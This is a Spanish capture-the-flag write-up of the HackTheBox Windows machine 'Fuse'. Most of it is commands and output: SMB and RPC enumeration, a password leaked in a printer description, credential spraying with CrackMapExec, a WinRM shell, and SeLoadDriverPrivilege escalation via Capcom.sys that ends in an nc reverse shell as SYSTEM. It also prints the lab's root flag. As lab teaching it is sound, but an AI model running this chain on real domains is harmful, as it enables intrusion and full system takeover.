Fuse es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Fuse 10.10.10.193 a /etc/hosts como fuse.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
# Nmap 7.80 scan initiated Sun Jun 14 21:27:07 2020 as: nmap -sC -sV -Pn -p- -oA nmap/fuse 10.10.10.193 Nmap scan report for 10.10.10.193 Host is up (0.051s latency). Not shown: 65514 filtered ports PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Site doesn't have a title (text/html). 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-14 19:43:37Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP) 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49670/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49690/tcp open msrpc Microsoft Windows RPC 49752/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=6/14%Time=5EE67A84%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h34m34s, deviation: 4h02m32s, median: 14m32s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Fuse | NetBIOS computer name: FUSE\x00 | Domain name: fabricorp.local | Forest name: fabricorp.local | FQDN: Fuse.fabricorp.local |_ System time: 2020-06-14T12:45:58-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-14T19:45:55 |_ start_date: 2020-06-14T14:06:53 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Jun 14 21:34:01 2020 -- 1 IP address (1 host up) scanned in 413.76 seconds |
Encontramos varios servicios abiertos así que procedemos a enumerar los mismos.
Enumeración
Comenzamos por el puerto 80, donde encontramos el siguiente portal web:
El portal está basado en el software Papercut, destinado a la gestión de impresoras e impresión de documentos.
Revisamos en los diferentes documentos y encontramos un listado de usuarios en los mismos, aunque todavía no podemos hacer nada con ellos.
Probamos la enumeración con enum4linux, enumeramos ldap, smb… pero sin éxito, así que probamos a cambiar la password del usuario tlavel con smbpassword y conseguimos cambiar la misma.
1 2 3 4 5 |
$ smbpasswd -r 10.10.10.193 -U tlavel Old SMB password: New SMB password: Retype new SMB password: Password changed for user tlavel on 10.10.10.193. |
Ahora que tenemos una contraseña enumeramos de nuevo el servicio smb y en este caso si conseguimos enumerar las carpetas compartidas existentes aunque no vemos nada interesante en las mismas:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ smbclient -U tlavel -L \\\\10.10.10.193\\ Enter WORKGROUP\tlavel's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share HP-MFT01 Printer HP-MFT01 IPC$ IPC Remote IPC NETLOGON Disk Logon server share print$ Disk Printer Drivers SYSVOL Disk Logon server share SMB1 disabled -- no workgroup available |
Continuando con la enumeración, procedemos a continuación con rpc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ rpcclient -U FABRICORP/tlavel 10.10.10.193 Enter FABRICORP\tlavel's password: rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[svc-print] rid:[0x450] user:[bnielson] rid:[0x451] user:[sthompson] rid:[0x641] user:[tlavel] rid:[0x642] user:[pmerton] rid:[0x643] user:[svc-scan] rid:[0x645] user:[bhult] rid:[0x1bbd] user:[dandrews] rid:[0x1bbe] user:[mberbatov] rid:[0x1db1] user:[astein] rid:[0x1db2] user:[dmuir] rid:[0x1db3] rpcclient $> |
Y encontramos un listado de usuarios existentes en la máquina. Viendo las impresoras en el anterior portal, enumeramos también las mismas:
1 2 3 4 5 6 7 |
$ rpcclient -U FABRICORP/tlavel 10.10.10.193 Enter FABRICORP\tlavel's password: rpcclient $> enumprinters flags:[0x800000] name:[\\10.10.10.193\HP-MFT01] description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)] comment:[] |
Y encontramos una contraseña, así que utilizaremos CrackMapExec con el listado de usuarios generado hasta el momento para ver a que usuario pertenece:
1 2 3 4 |
$ cme winrm -u users.txt -p p.txt -d FABRICORP.local 10.10.10.193 WINRM 10.10.10.193 5985 10.10.10.193 [*] http://10.10.10.193:5985/wsman WINRM 10.10.10.193 5985 10.10.10.193 [-] FABRICORP.local\svc-print:Fabricorp01 "Failed to authenticate the user svc-print with ntlm" WINRM 10.10.10.193 5985 10.10.10.193 [+] FABRICORP.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!) |
Y conseguimos un usuario con el cual acceder.
Obteniendo la flag de user
Utilizando la herramienta evil-winrm accedemos con el usuario svc-print:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ ruby evil-winrm.rb -u "FABRICORP.LOCAL\svc-print" -i 10.10.10.193 Enter Password: Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc-print\Documents> whoami fabricorp\svc-print *Evil-WinRM* PS C:\Users\svc-print\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\svc-print\desktop> ls Directory: C:\Users\svc-print\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 6/16/2020 5:38 AM 34 user.txt *Evil-WinRM* PS C:\Users\svc-print\desktop> |
Y ya tenemos la flag de user.
Escalado de privilegios
Para el escalado de privilegios enumeraremos como primer paso los permisos del usuario:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
*Evil-WinRM* PS C:\Users\svc-print\desktop> whoami /all USER INFORMATION ---------------- User Name SID =================== ============================================== fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104 GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. *Evil-WinRM* PS C:\Users\svc-print\desktop> |
Y observamos uno en concreto muy interesante:
1 |
SeLoadDriverPrivilege Load and unload device drivers Enabled |
Este permiso nos permite cargar un driver en el sistema, lo que puede ser muy útil para ejecutar el comando que deseemos para intentar escalar privilegios en el sistema.
Con lo descubierto buscamos en google y encontramos un post donde explica como llevar a cabo la explotación de este privilegio:
https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
Para ello necesitaremos descargarnos el código de los siguientes repositorios:
1 2 |
https://github.com/TarlogicSecurity/EoPLoadDriver https://github.com/tandasat/ExploitCapcom |
Y compilar los mismos con Visual Studio. En nuestro caso he montado una máquina virtual con windows 10 y la versión community de Visual Studio.
En el exploit de ExploitCapcom, como no tenemos una shell interactiva necesitaremos editar el código de la misma, que en nuestro caso, utilizaremos nc para crear un proceso con una shell inversa.
Así que subiremos los ficheros ejecutables a la máquina y procederemos a su ejecución.
En primer caso ejecutaremos el programa de eoploaddriver para habilitar el permiso y crear la clave de registro correspondiente:
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\test> .\eoploaddriver.exe System\CurrentControlSet\byteservice C:\test\Capcom.sys [+] Enabling SeLoadDriverPrivilege [+] SeLoadDriverPrivilege Enabled [+] Loading Driver: \Registry\User\S-1-5-21-2633719317-1471316042-3957863514-1104\System\CurrentControlSet\byteservice NTSTATUS: 00000000, WinError: 0 *Evil-WinRM* PS C:\test> |
Y posteriormente ejecutaremos el exploit para obtener nuestra shell:
1 2 3 4 5 6 7 8 9 |
*Evil-WinRM* PS C:\test> .\ExploitCapcom.exe [*] Capcom.sys exploit [*] Capcom.sys handle was obtained as 0000000000000064 [*] Shellcode was placed at 000001C564450008 [+] Shellcode was executed [+] Token stealing was successful [+] The SYSTEM shell was launched [*] Press any key to exit this program *Evil-WinRM* PS C:\test> |
Consiguiendo acceso como system en nuestra escucha:
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.9] from fuse.htb [10.10.10.193] 50475 Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\test>whoami whoami nt authority\system |
Obteniendo la flag de root
Una vez tenemos acceso como system, sólo nos queda acceder a la home del usuario Administrator y conseguir la flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
C:\test>whoami whoami nt authority\system C:\test>cd c:\users\administrator\desktop cd c:\users\administrator\desktop c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is E6C8-44FE Directory of c:\Users\Administrator\Desktop 06/01/2020 02:03 AM <DIR> . 06/01/2020 02:03 AM <DIR> .. 06/17/2020 08:34 AM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 30,941,487,104 bytes free c:\Users\Administrator\Desktop>type root.txt type root.txt f32633242614f0a2cb76bb8fe3f58153 c:\Users\Administrator\Desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792